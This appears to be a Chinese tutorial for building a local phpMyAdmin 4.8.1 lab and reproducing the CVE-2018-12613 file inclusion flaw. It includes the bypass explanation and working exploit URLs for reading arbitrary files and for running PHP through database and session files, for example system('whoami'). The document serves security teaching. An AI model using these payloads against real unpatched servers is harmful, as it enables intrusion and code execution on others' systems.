用PHPStudy搭建phpMyAdmin 4.8.1靶场,手把手复现那个经典的文件包含漏洞
从零构建phpMyAdmin 4.8.1漏洞实验环境:实战文件包含漏洞复现指南
在网络安全学习过程中,没有什么比亲手复现一个经典漏洞更能加深理解。phpMyAdmin 4.8.1的文件包含漏洞(CVE-2018-12613)因其典型性和教育意义,成为许多安全从业者的"启蒙漏洞"。本文将带你使用最常见的PHPStudy环境,完整搭建这个漏洞靶场,并通过三种不同的利用方式,让你彻底掌握文件包含漏洞的原理与实战技巧。
1. 实验环境准备与配置
1.1 工具与组件下载
首先需要准备以下软件包,建议从官方渠道获取:
- PHPStudy 2018版(推荐版本:V8.1)
- phpMyAdmin 4.8.1源码包
- Windows 10/11操作系统
注意:不同版本的PHPStudy可能内置的PHP和MySQL版本不同,这会影响后续配置。我们推荐使用较旧的2018版本,因为它默认包含与漏洞兼容的PHP 5.x系列。
1.2 基础环境部署
安装PHPStudy后,按以下步骤初始化环境:
- 启动PHPStudy控制面板
- 选择"Apache 2.4" + "PHP 5.6"组合
- 点击"启动"按钮运行服务
- 解压phpMyAdmin 4.8.1到
phpStudy\WWW目录 - 访问
http://localhost/phpMyAdmin-4.8.1/验证安装
常见问题解决方案:
| 问题现象 | 解决方法 |
|---|---|
| 页面空白 | 检查PHP版本是否为5.x |
| MySQL连接失败 | 确认MySQL服务已启动 |
| 缺少mbstring扩展 | 在php.ini中取消注释extension=php_mbstring.dll |
1.3 解决blowfish_secret配置错误
首次访问phpMyAdmin时,通常会遇到以下错误提示:
配置文件现在需要绝密的短语密码(blowfish_secret)
解决方法:
- 打开
phpMyAdmin/libraries/config.default.php - 找到
$cfg['blowfish_secret']配置项 - 修改为任意32字符以上的字符串,例如:
$cfg['blowfish_secret'] = 'thisisasecretkeyforpma481testonly123';2. 漏洞原理深度解析
2.1 文件包含漏洞的形成机制
phpMyAdmin 4.8.1的漏洞核心在于index.php中对target参数的处理不当。关键代码逻辑如下:
// index.php 51-64行 if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; }这段代码表明,当满足五个条件时,系统会直接包含target参数指定的文件。其中最关键的是Core::checkPageValidity()函数的校验逻辑。
2.2 校验函数的绕过技巧
checkPageValidity()函数位于libraries/classes/Core.php中,其核心判断逻辑是:
function checkPageValidity(&$page) { if (isset($_whitelist) && in_array($page, $_whitelist)) { return true; } $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $_whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $_whitelist)) { return true; } return false; }要成功利用漏洞,需要构造特殊的payload满足以下任一条件:
- 直接在白名单中(几乎不可能)
- 问号前的部分在白名单中
- 双重URL解码后问号前的部分在白名单中
关键点:服务器会自动解码一次URL编码,urldecode()函数会再解码一次,因此需要双重编码问号字符(?→%253f)。
3. 漏洞复现实战演练
3.1 任意文件包含攻击
这是最直接的利用方式,通过目录穿越读取系统任意文件:
- 在D盘创建测试文件
test.txt,内容为"Hello Vuln World!" - 构造payload访问:
http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../D/test.txt- 页面将显示
test.txt的内容
技巧:Windows系统不需要指定盘符(如D:),直接使用/../../结构即可。
3.2 数据库文件包含实现代码执行
更危险的利用方式是执行任意PHP代码:
- 在phpMyAdmin中创建新数据库
test - 执行SQL语句创建表并插入恶意代码:
CREATE TABLE `evil` (data LONGTEXT); INSERT INTO `evil` VALUES ('<?php phpinfo(); ?>');- 查找数据库文件路径(通常在
phpStudy/Extensions/MySQL/data/test/evil.MYD) - 构造payload访问:
http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/MySQL5.7.26/data/test/evil.MYD- 页面将显示phpinfo信息
3.3 通过Session文件执行代码
另一种巧妙的利用方式是包含phpMyAdmin的session文件:
- 在SQL面板执行:
SELECT "<?php system('whoami'); ?>"- 在服务器上查找session文件(通常在
phpStudy/Extensions/tmp/tmp/) - 构造payload包含session文件:
http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/tmp/tmp/sess_[你的sessionID]- 页面将显示当前Web服务的运行用户
4. 漏洞防御与学习延伸
4.1 漏洞修复方案
phpMyAdmin官方在后续版本中通过以下方式修复了此漏洞:
- 严格限制包含文件的路径
- 移除双重URL解码逻辑
- 加强白名单校验机制
升级到最新版phpMyAdmin是根本解决方案。
4.2 实验环境安全建议
在本地进行漏洞实验时,建议采取以下安全措施:
- 使用虚拟机隔离实验环境
- 实验结束后立即关闭PHPStudy服务
- 不要将实验环境暴露在公网
- 定期清理创建的测试数据库和文件
4.3 延伸学习资源
要深入理解文件包含漏洞,推荐研究以下相关漏洞:
- LFI(Local File Inclusion)漏洞
- RFI(Remote File Inclusion)漏洞
- PHP伪协议利用技巧(php://filter等)
- 日志文件包含攻击
在CTF比赛中,文件包含常与以下技术结合考察:
- 路径遍历(../)
- 编码绕过技巧
- 文件上传漏洞组合利用
- Session固定攻击
